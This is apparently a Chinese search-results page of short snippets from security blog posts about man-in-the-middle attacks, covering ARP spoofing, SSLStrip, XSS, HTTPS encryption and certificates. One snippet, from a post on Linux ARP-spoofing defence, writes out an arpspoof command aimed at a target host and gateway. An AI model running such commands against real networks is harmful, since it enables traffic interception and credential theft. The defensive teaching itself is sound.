  • ARP毒化攻击是一种比较老的攻击技术,是中间人攻击的一种途径。传统的攻击方法重点在于信息的收集(密码,Cookie,CSRF令牌等等任何信息)。有时这种攻击也用来对付通过SSL协议访问的目标。但是其中一个攻击途径我认为...
  • java后台简单异步处理例子

    万次阅读 2017-06-30 01:08:13
    背景:最近项目的一个需求,要求新建一个演练任务向某个主机发起调用攻击指令,同时等待对方主机告警信息同步到本机数据库表上后,将当前演练任务必须关联上告警信息id思考:因为涉及多个动作,且中间等待对方主机...
  • 网络地址转换是对ip架构的一种讽刺还是一种补充,要知道nat的实质,就是臭名昭著的中间人攻击。 2.上层修改下层地址,路由器修改以太头,tcp和udp也能通过不变端口的nat,而应用层的路由器则是代理服务器,最...
  • Linux下防御ARP欺骗

    2020-12-08 15:04:47
    又称中间人攻击。 2 ARP 欺骗攻击方法 发动 ARP 欺骗的工具有 arpspoof,该工具可以模拟 ARP 欺骗,具体命令举例如下: $ sudo arpspoof -i eth0 -t 192.168.1.22 192.168.1.1 该例子中 192.168.1.22 是目标地址,...
  • 中间人攻击 XSS 思考:什么是 XSS 攻击?如何防范 XSS 攻击?什么是 CSP? XSS 简单点来说,就是攻击者想尽一切办法将可以执行的代码注入到网页中 XSS 可以分为多种类型,但是总体上我认为分为两类:持久型和非...
  • 前端安全问题

    2019-03-08 17:18:00
    1.防火防盗防猪队友:不安全的第三方依赖包 举个例子,jQuery就存在多个已知安全漏洞,例如jQuery issue ...2.黑客可以利用SSL Stripping这种攻击手段,强制让HTTPS降级回HTTP,从而继续进行中间人攻击。 3.尽管有...
  • 这种行为叫做中间人攻击。 如何进行加密呢? (对称加密) 小灰和小红可以事先约定一种对称加密方式,并且约定一个随机生成的密钥。后续的通信中,信息发送方都使用密钥对信息加密,而信息接收方通过...
  • 基于SSLStrip的HTTPS会话劫持

    千次阅读 2013-12-29 13:02:08
    0 引言 ...在网络攻防中,威胁服务器安全的行为时有发生,最常见的例子就是使用模仿银行域名的钓鱼攻击(Phishing)。随着HTTPS的广泛使用,一些新的针对HTTPS会话的劫持也开始出现,如基于中间人攻击的Surf Jacking、
  • 数字证书的重要性

    千次阅读 2018-11-27 12:03:24
    我们来看一个中间人攻击例子: 假设A要与B进行通信,但是在A和B都不知情的情况下通信内容被邪恶用户C进行转发的。 1.C冒充B与A通信,将自己的公钥发送给A,说自己是B,然后A就误认为该公钥就是B的公钥,将自己的...
  • HttpClient 4.5 利用HTTPS提交POST请求

    万次阅读 2015-08-14 18:14:56
    在网上查了许多例子,发现都不太合适,因为大部分代码都没做证书验证,所以容易受到中间人攻击。这里查阅了许多文档,并编写了自己的代码,做一个总结。 我这里使用了HttpClient 4.5版本。 参考了Oracle的文档:...
  • HTTPS的原理是什么

    2021-01-28 23:39:00
    ...对于黑客来说,明文传输的报文简直就是在“裸奔”!...正常情况下,当发送方使用HTTP向接收方发送一个消息时,是能够正确传输的,但是一旦有黑客进行了中间人攻击,事情的发展就可能超出我们的控制了,比如:
  • 这意味着中间人减少了。减少中间商的人,他们增加了完成交易的成本和时间。 该系统存在风险,因为它的强度仅与支持它的代码一样强大,而该代码过去曾受到攻击。尽管如此,国外的例子表明,有可能将这项技术成功地...

空空如也

空空如也

1 2
收藏数 37
精华内容 14
关键字:

中间人攻击例子